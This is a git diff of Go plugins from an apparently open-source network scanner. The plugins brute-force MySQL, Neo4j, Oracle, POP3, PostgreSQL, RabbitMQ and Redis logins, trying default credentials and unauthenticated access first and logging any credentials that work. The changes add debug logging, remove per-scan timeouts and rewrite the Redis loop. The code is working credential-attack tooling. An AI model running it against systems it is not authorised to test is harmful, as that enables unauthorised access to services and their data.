|
default:
|
||||||
|
}
|
||||||
}(user, pass)
|
}(user, pass)
|
||||||
|
|
||||||
// 等待结果或超时
|
// 等待结果或超时
|
||||||
@ -50,7 +61,6 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
case result := <-done:
|
case result := <-done:
|
||||||
err = result.err
|
err = result.err
|
||||||
if result.success && err == nil {
|
if result.success && err == nil {
|
||||||
// 连接成功
|
|
||||||
successLog := fmt.Sprintf("MySQL %v:%v %v %v",
|
successLog := fmt.Sprintf("MySQL %v:%v %v %v",
|
||||||
info.Host, info.Ports, user, pass)
|
info.Host, info.Ports, user, pass)
|
||||||
Common.LogSuccess(successLog)
|
Common.LogSuccess(successLog)
|
||||||
@ -76,7 +86,7 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
if retryCount == maxRetries-1 {
|
if retryCount == maxRetries-1 {
|
||||||
tmperr = err
|
tmperr = err
|
||||||
if !strings.Contains(err.Error(), "Access denied") {
|
if !strings.Contains(err.Error(), "Access denied") {
|
||||||
return err
|
continue
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
continue // 继续重试
|
continue // 继续重试
|
||||||
@ -87,6 +97,7 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -8,7 +8,6 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
// Neo4jScan 执行 Neo4j 服务扫描
|
|
||||||
func Neo4jScan(info *Common.HostInfo) (tmperr error) {
|
func Neo4jScan(info *Common.HostInfo) (tmperr error) {
|
||||||
if Common.DisableBrute {
|
if Common.DisableBrute {
|
||||||
return
|
return
|
||||||
@ -16,6 +15,8 @@ func Neo4jScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
|
|
||||||
maxRetries := Common.MaxRetries
|
maxRetries := Common.MaxRetries
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||||
|
|
||||||
// 首先测试无认证访问和默认凭证
|
// 首先测试无认证访问和默认凭证
|
||||||
initialChecks := []struct {
|
initialChecks := []struct {
|
||||||
user string
|
user string
|
||||||
@ -25,39 +26,50 @@ func Neo4jScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
{"neo4j", "neo4j"}, // 默认凭证
|
{"neo4j", "neo4j"}, // 默认凭证
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Common.LogDebug("尝试默认凭证...")
|
||||||
for _, check := range initialChecks {
|
for _, check := range initialChecks {
|
||||||
|
Common.LogDebug(fmt.Sprintf("尝试: %s:%s", check.user, check.pass))
|
||||||
flag, err := Neo4jConn(info, check.user, check.pass)
|
flag, err := Neo4jConn(info, check.user, check.pass)
|
||||||
if flag && err == nil {
|
if flag && err == nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
starttime := time.Now().Unix()
|
totalUsers := len(Common.Userdict["neo4j"])
|
||||||
|
totalPass := len(Common.Passwords)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||||
|
|
||||||
|
tried := 0
|
||||||
|
total := totalUsers * totalPass
|
||||||
|
|
||||||
// 遍历所有用户名密码组合
|
// 遍历所有用户名密码组合
|
||||||
for _, user := range Common.Userdict["neo4j"] {
|
for _, user := range Common.Userdict["neo4j"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
|
tried++
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||||
// 检查是否超时
|
|
||||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
|
||||||
return fmt.Errorf("扫描超时")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 重试循环
|
// 重试循环
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||||
|
}
|
||||||
|
|
||||||
// 执行Neo4j连接
|
// 执行Neo4j连接
|
||||||
done := make(chan struct {
|
done := make(chan struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
})
|
}, 1)
|
||||||
|
|
||||||
go func(user, pass string) {
|
go func(user, pass string) {
|
||||||
flag, err := Neo4jConn(info, user, pass)
|
flag, err := Neo4jConn(info, user, pass)
|
||||||
done <- struct {
|
select {
|
||||||
|
case done <- struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
}{flag, err}
|
}{flag, err}:
|
||||||
|
default:
|
||||||
|
}
|
||||||
}(user, pass)
|
}(user, pass)
|
||||||
|
|
||||||
// 等待结果或超时
|
// 等待结果或超时
|
||||||
@ -81,17 +93,17 @@ func Neo4jScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
// 检查是否需要重试
|
// 检查是否需要重试
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||||
if retryCount == maxRetries-1 {
|
if retryCount == maxRetries-1 {
|
||||||
return err
|
continue
|
||||||
}
|
}
|
||||||
continue // 继续重试
|
continue // 继续重试
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
break // 如果不需要重试,跳出重试循环
|
break // 如果不需要重试,跳出重试循环
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -9,39 +9,49 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
// OracleScan 执行Oracle服务扫描
|
|
||||||
func OracleScan(info *Common.HostInfo) (tmperr error) {
|
func OracleScan(info *Common.HostInfo) (tmperr error) {
|
||||||
if Common.DisableBrute {
|
if Common.DisableBrute {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
maxRetries := Common.MaxRetries
|
maxRetries := Common.MaxRetries
|
||||||
starttime := time.Now().Unix()
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||||
|
totalUsers := len(Common.Userdict["oracle"])
|
||||||
|
totalPass := len(Common.Passwords)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||||
|
|
||||||
|
tried := 0
|
||||||
|
total := totalUsers * totalPass
|
||||||
|
|
||||||
// 遍历所有用户名密码组合
|
// 遍历所有用户名密码组合
|
||||||
for _, user := range Common.Userdict["oracle"] {
|
for _, user := range Common.Userdict["oracle"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
|
tried++
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||||
// 检查是否超时
|
|
||||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
|
||||||
return fmt.Errorf("扫描超时")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 重试循环
|
// 重试循环
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||||
|
}
|
||||||
|
|
||||||
// 执行Oracle连接
|
// 执行Oracle连接
|
||||||
done := make(chan struct {
|
done := make(chan struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
})
|
}, 1)
|
||||||
|
|
||||||
go func(user, pass string) {
|
go func(user, pass string) {
|
||||||
success, err := OracleConn(info, user, pass)
|
success, err := OracleConn(info, user, pass)
|
||||||
done <- struct {
|
select {
|
||||||
|
case done <- struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
}{success, err}
|
}{success, err}:
|
||||||
|
default:
|
||||||
|
}
|
||||||
}(user, pass)
|
}(user, pass)
|
||||||
|
|
||||||
// 等待结果或超时
|
// 等待结果或超时
|
||||||
@ -50,6 +60,9 @@ func OracleScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
case result := <-done:
|
case result := <-done:
|
||||||
err = result.err
|
err = result.err
|
||||||
if result.success && err == nil {
|
if result.success && err == nil {
|
||||||
|
successLog := fmt.Sprintf("Oracle %v:%v %v %v",
|
||||||
|
info.Host, info.Ports, user, pass)
|
||||||
|
Common.LogSuccess(successLog)
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||||
@ -65,17 +78,17 @@ func OracleScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
// 检查是否需要重试
|
// 检查是否需要重试
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||||
if retryCount == maxRetries-1 {
|
if retryCount == maxRetries-1 {
|
||||||
return err
|
continue
|
||||||
}
|
}
|
||||||
continue // 继续重试
|
continue // 继续重试
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
break // 如果不需要重试,跳出重试循环
|
break // 如果不需要重试,跳出重试循环
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -16,32 +16,43 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
maxRetries := Common.MaxRetries
|
maxRetries := Common.MaxRetries
|
||||||
starttime := time.Now().Unix()
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||||
|
totalUsers := len(Common.Userdict["pop3"])
|
||||||
|
totalPass := len(Common.Passwords)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||||
|
|
||||||
|
tried := 0
|
||||||
|
total := totalUsers * totalPass
|
||||||
|
|
||||||
// 遍历所有用户名密码组合
|
// 遍历所有用户名密码组合
|
||||||
for _, user := range Common.Userdict["pop3"] {
|
for _, user := range Common.Userdict["pop3"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
|
tried++
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||||
// 检查是否超时
|
|
||||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
|
||||||
return fmt.Errorf("扫描超时")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 重试循环
|
// 重试循环
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||||
|
}
|
||||||
|
|
||||||
// 执行POP3连接
|
// 执行POP3连接
|
||||||
done := make(chan struct {
|
done := make(chan struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
})
|
}, 1)
|
||||||
|
|
||||||
go func(user, pass string) {
|
go func(user, pass string) {
|
||||||
success, err := POP3Conn(info, user, pass)
|
success, err := POP3Conn(info, user, pass)
|
||||||
done <- struct {
|
select {
|
||||||
|
case done <- struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
}{success, err}
|
}{success, err}:
|
||||||
|
default:
|
||||||
|
}
|
||||||
}(user, pass)
|
}(user, pass)
|
||||||
|
|
||||||
// 等待结果或超时
|
// 等待结果或超时
|
||||||
@ -50,7 +61,6 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) {
|
|||||||
case result := <-done:
|
case result := <-done:
|
||||||
err = result.err
|
err = result.err
|
||||||
if result.success && err == nil {
|
if result.success && err == nil {
|
||||||
// 连接成功
|
|
||||||
successLog := fmt.Sprintf("POP3服务 %v:%v 用户名: %v 密码: %v",
|
successLog := fmt.Sprintf("POP3服务 %v:%v 用户名: %v 密码: %v",
|
||||||
info.Host, info.Ports, user, pass)
|
info.Host, info.Ports, user, pass)
|
||||||
Common.LogSuccess(successLog)
|
Common.LogSuccess(successLog)
|
||||||
@ -69,17 +79,17 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) {
|
|||||||
// 检查是否需要重试
|
// 检查是否需要重试
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||||
if retryCount == maxRetries-1 {
|
if retryCount == maxRetries-1 {
|
||||||
return err
|
continue
|
||||||
}
|
}
|
||||||
continue // 继续重试
|
continue // 继续重试
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
break // 如果不需要重试,跳出重试循环
|
break // 如果不需要重试,跳出重试循环
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -16,32 +16,43 @@ func PostgresScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
maxRetries := Common.MaxRetries
|
maxRetries := Common.MaxRetries
|
||||||
starttime := time.Now().Unix()
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||||
|
totalUsers := len(Common.Userdict["postgresql"])
|
||||||
|
totalPass := len(Common.Passwords)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||||
|
|
||||||
|
tried := 0
|
||||||
|
total := totalUsers * totalPass
|
||||||
|
|
||||||
// 遍历所有用户名密码组合
|
// 遍历所有用户名密码组合
|
||||||
for _, user := range Common.Userdict["postgresql"] {
|
for _, user := range Common.Userdict["postgresql"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
|
tried++
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||||
// 检查是否超时
|
|
||||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
|
||||||
return fmt.Errorf("扫描超时")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 重试循环
|
// 重试循环
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||||
|
}
|
||||||
|
|
||||||
// 执行PostgreSQL连接
|
// 执行PostgreSQL连接
|
||||||
done := make(chan struct {
|
done := make(chan struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
})
|
}, 1)
|
||||||
|
|
||||||
go func(user, pass string) {
|
go func(user, pass string) {
|
||||||
success, err := PostgresConn(info, user, pass)
|
success, err := PostgresConn(info, user, pass)
|
||||||
done <- struct {
|
select {
|
||||||
|
case done <- struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
}{success, err}
|
}{success, err}:
|
||||||
|
default:
|
||||||
|
}
|
||||||
}(user, pass)
|
}(user, pass)
|
||||||
|
|
||||||
// 等待结果或超时
|
// 等待结果或超时
|
||||||
@ -50,6 +61,9 @@ func PostgresScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
case result := <-done:
|
case result := <-done:
|
||||||
err = result.err
|
err = result.err
|
||||||
if result.success && err == nil {
|
if result.success && err == nil {
|
||||||
|
successLog := fmt.Sprintf("PostgreSQL %v:%v %v %v",
|
||||||
|
info.Host, info.Ports, user, pass)
|
||||||
|
Common.LogSuccess(successLog)
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||||
@ -65,17 +79,17 @@ func PostgresScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
// 检查是否需要重试
|
// 检查是否需要重试
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||||
if retryCount == maxRetries-1 {
|
if retryCount == maxRetries-1 {
|
||||||
return err
|
continue
|
||||||
}
|
}
|
||||||
continue // 继续重试
|
continue // 继续重试
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
break // 如果不需要重试,跳出重试循环
|
break // 如果不需要重试,跳出重试循环
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -16,28 +16,32 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
maxRetries := Common.MaxRetries
|
maxRetries := Common.MaxRetries
|
||||||
starttime := time.Now().Unix()
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||||
|
Common.LogDebug("尝试默认账号 guest/guest")
|
||||||
|
|
||||||
// 先测试默认账号 guest/guest
|
// 先测试默认账号 guest/guest
|
||||||
user, pass := "guest", "guest"
|
user, pass := "guest", "guest"
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
// 检查是否超时
|
if retryCount > 0 {
|
||||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
Common.LogDebug(fmt.Sprintf("第%d次重试默认账号: guest/guest", retryCount+1))
|
||||||
return fmt.Errorf("扫描超时")
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 执行RabbitMQ连接
|
// 执行RabbitMQ连接
|
||||||
done := make(chan struct {
|
done := make(chan struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
})
|
}, 1)
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
success, err := RabbitMQConn(info, user, pass)
|
success, err := RabbitMQConn(info, user, pass)
|
||||||
done <- struct {
|
select {
|
||||||
|
case done <- struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
}{success, err}
|
}{success, err}:
|
||||||
|
default:
|
||||||
|
}
|
||||||
}()
|
}()
|
||||||
|
|
||||||
// 等待结果或超时
|
// 等待结果或超时
|
||||||
@ -62,7 +66,7 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
|
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||||
if retryCount == maxRetries-1 {
|
if retryCount == maxRetries-1 {
|
||||||
return err
|
continue
|
||||||
}
|
}
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
@ -70,30 +74,42 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
break
|
break
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 计算总尝试次数
|
||||||
|
totalUsers := len(Common.Userdict["rabbitmq"])
|
||||||
|
totalPass := len(Common.Passwords)
|
||||||
|
total := totalUsers * totalPass
|
||||||
|
tried := 0
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||||
|
|
||||||
// 遍历其他用户名密码组合
|
// 遍历其他用户名密码组合
|
||||||
for _, user := range Common.Userdict["rabbitmq"] {
|
for _, user := range Common.Userdict["rabbitmq"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
|
tried++
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||||
// 检查是否超时
|
|
||||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
|
||||||
return fmt.Errorf("扫描超时")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 重试循环
|
// 重试循环
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||||
|
}
|
||||||
|
|
||||||
// 执行RabbitMQ连接
|
// 执行RabbitMQ连接
|
||||||
done := make(chan struct {
|
done := make(chan struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
})
|
}, 1)
|
||||||
|
|
||||||
go func(user, pass string) {
|
go func(user, pass string) {
|
||||||
success, err := RabbitMQConn(info, user, pass)
|
success, err := RabbitMQConn(info, user, pass)
|
||||||
done <- struct {
|
select {
|
||||||
|
case done <- struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
}{success, err}
|
}{success, err}:
|
||||||
|
default:
|
||||||
|
}
|
||||||
}(user, pass)
|
}(user, pass)
|
||||||
|
|
||||||
// 等待结果或超时
|
// 等待结果或超时
|
||||||
@ -118,7 +134,7 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
|
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||||
if retryCount == maxRetries-1 {
|
if retryCount == maxRetries-1 {
|
||||||
return err
|
continue
|
||||||
}
|
}
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
@ -128,6 +144,7 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried+1)) // +1 包含默认账号
|
||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
510
Plugins/Redis.go
510
Plugins/Redis.go
@ -8,7 +8,6 @@ import (
|
|||||||
"net"
|
"net"
|
||||||
"os"
|
"os"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
@ -18,232 +17,241 @@ var (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// RedisScan 执行Redis服务扫描
|
// RedisScan 执行Redis服务扫描
|
||||||
func RedisScan(info *Common.HostInfo) (tmperr error) {
|
func RedisScan(info *Common.HostInfo) error {
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始Redis扫描: %s:%v", info.Host, info.Ports))
|
||||||
starttime := time.Now().Unix()
|
starttime := time.Now().Unix()
|
||||||
|
|
||||||
// 先尝试无密码连接
|
// 先尝试无密码连接
|
||||||
flag, err := RedisUnauth(info)
|
flag, err := RedisUnauth(info)
|
||||||
if flag && err == nil {
|
if flag && err == nil {
|
||||||
return err
|
Common.LogSuccess(fmt.Sprintf("Redis无密码连接成功: %s:%v", info.Host, info.Ports))
|
||||||
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
if Common.DisableBrute {
|
if Common.DisableBrute {
|
||||||
return
|
Common.LogDebug("暴力破解已禁用,结束扫描")
|
||||||
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
maxRetries := Common.MaxRetries
|
// 遍历密码字典
|
||||||
threads := Common.BruteThreads
|
|
||||||
|
|
||||||
// 创建任务通道
|
|
||||||
taskChan := make(chan string, len(Common.Passwords))
|
|
||||||
resultChan := make(chan error, threads)
|
|
||||||
|
|
||||||
// 生成所有密码任务
|
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
|
// 检查是否超时
|
||||||
|
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
||||||
|
errMsg := fmt.Sprintf("Redis扫描超时: %s:%v", info.Host, info.Ports)
|
||||||
|
Common.LogError(errMsg)
|
||||||
|
return fmt.Errorf(errMsg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 替换密码模板
|
||||||
pass = strings.Replace(pass, "{user}", "redis", -1)
|
pass = strings.Replace(pass, "{user}", "redis", -1)
|
||||||
taskChan <- pass
|
Common.LogDebug(fmt.Sprintf("尝试密码: %s", pass))
|
||||||
}
|
|
||||||
close(taskChan)
|
|
||||||
|
|
||||||
// 启动工作线程
|
// 密码重试逻辑
|
||||||
var wg sync.WaitGroup
|
var lastErr error
|
||||||
for i := 0; i < threads; i++ {
|
for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ {
|
||||||
wg.Add(1)
|
// 如果不是第一次重试,添加重试日志
|
||||||
go func() {
|
if retryCount > 0 {
|
||||||
defer wg.Done()
|
Common.LogDebug(fmt.Sprintf("第 %d 次重试: %s", retryCount+1, pass))
|
||||||
|
}
|
||||||
|
|
||||||
for pass := range taskChan {
|
// 执行Redis连接
|
||||||
// 重试循环
|
done := make(chan struct {
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
success bool
|
||||||
// 检查是否超时
|
err error
|
||||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
})
|
||||||
resultChan <- fmt.Errorf("扫描超时")
|
|
||||||
return
|
go func() {
|
||||||
|
success, err := RedisConn(info, pass)
|
||||||
|
done <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}{success, err}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或超时
|
||||||
|
var connErr error
|
||||||
|
select {
|
||||||
|
case result := <-done:
|
||||||
|
if result.success {
|
||||||
|
Common.LogSuccess(fmt.Sprintf("Redis登录成功 %s:%v [%s]",
|
||||||
|
info.Host, info.Ports, pass))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
connErr = result.err
|
||||||
|
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||||
|
connErr = fmt.Errorf("连接超时")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理错误情况
|
||||||
|
if connErr != nil {
|
||||||
|
lastErr = connErr
|
||||||
|
errMsg := fmt.Sprintf("Redis尝试失败 %s:%v [%s] %v",
|
||||||
|
info.Host, info.Ports, pass, connErr)
|
||||||
|
Common.LogError(errMsg)
|
||||||
|
|
||||||
|
// 检查是否需要重试
|
||||||
|
if retryErr := Common.CheckErrs(connErr); retryErr != nil {
|
||||||
|
if retryCount == Common.MaxRetries-1 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("达到最大重试次数: %s", pass))
|
||||||
|
break
|
||||||
}
|
}
|
||||||
|
continue // 继续重试
|
||||||
// 执行Redis连接
|
|
||||||
done := make(chan struct {
|
|
||||||
success bool
|
|
||||||
err error
|
|
||||||
})
|
|
||||||
|
|
||||||
go func(pass string) {
|
|
||||||
success, err := RedisConn(info, pass)
|
|
||||||
done <- struct {
|
|
||||||
success bool
|
|
||||||
err error
|
|
||||||
}{success, err}
|
|
||||||
}(pass)
|
|
||||||
|
|
||||||
// 等待结果或超时
|
|
||||||
var err error
|
|
||||||
select {
|
|
||||||
case result := <-done:
|
|
||||||
err = result.err
|
|
||||||
if result.success && err == nil {
|
|
||||||
resultChan <- nil
|
|
||||||
return
|
|
||||||
}
|
|
||||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
|
||||||
err = fmt.Errorf("连接超时")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 处理错误情况
|
|
||||||
if err != nil {
|
|
||||||
errlog := fmt.Sprintf("Redis %v:%v %v %v",
|
|
||||||
info.Host, info.Ports, pass, err)
|
|
||||||
Common.LogError(errlog)
|
|
||||||
|
|
||||||
// 检查是否需要重试
|
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
|
||||||
if retryCount == maxRetries-1 {
|
|
||||||
resultChan <- err
|
|
||||||
return
|
|
||||||
}
|
|
||||||
continue // 继续重试
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
break // 如果不需要重试,跳出重试循环
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
resultChan <- nil
|
|
||||||
}()
|
|
||||||
}
|
|
||||||
|
|
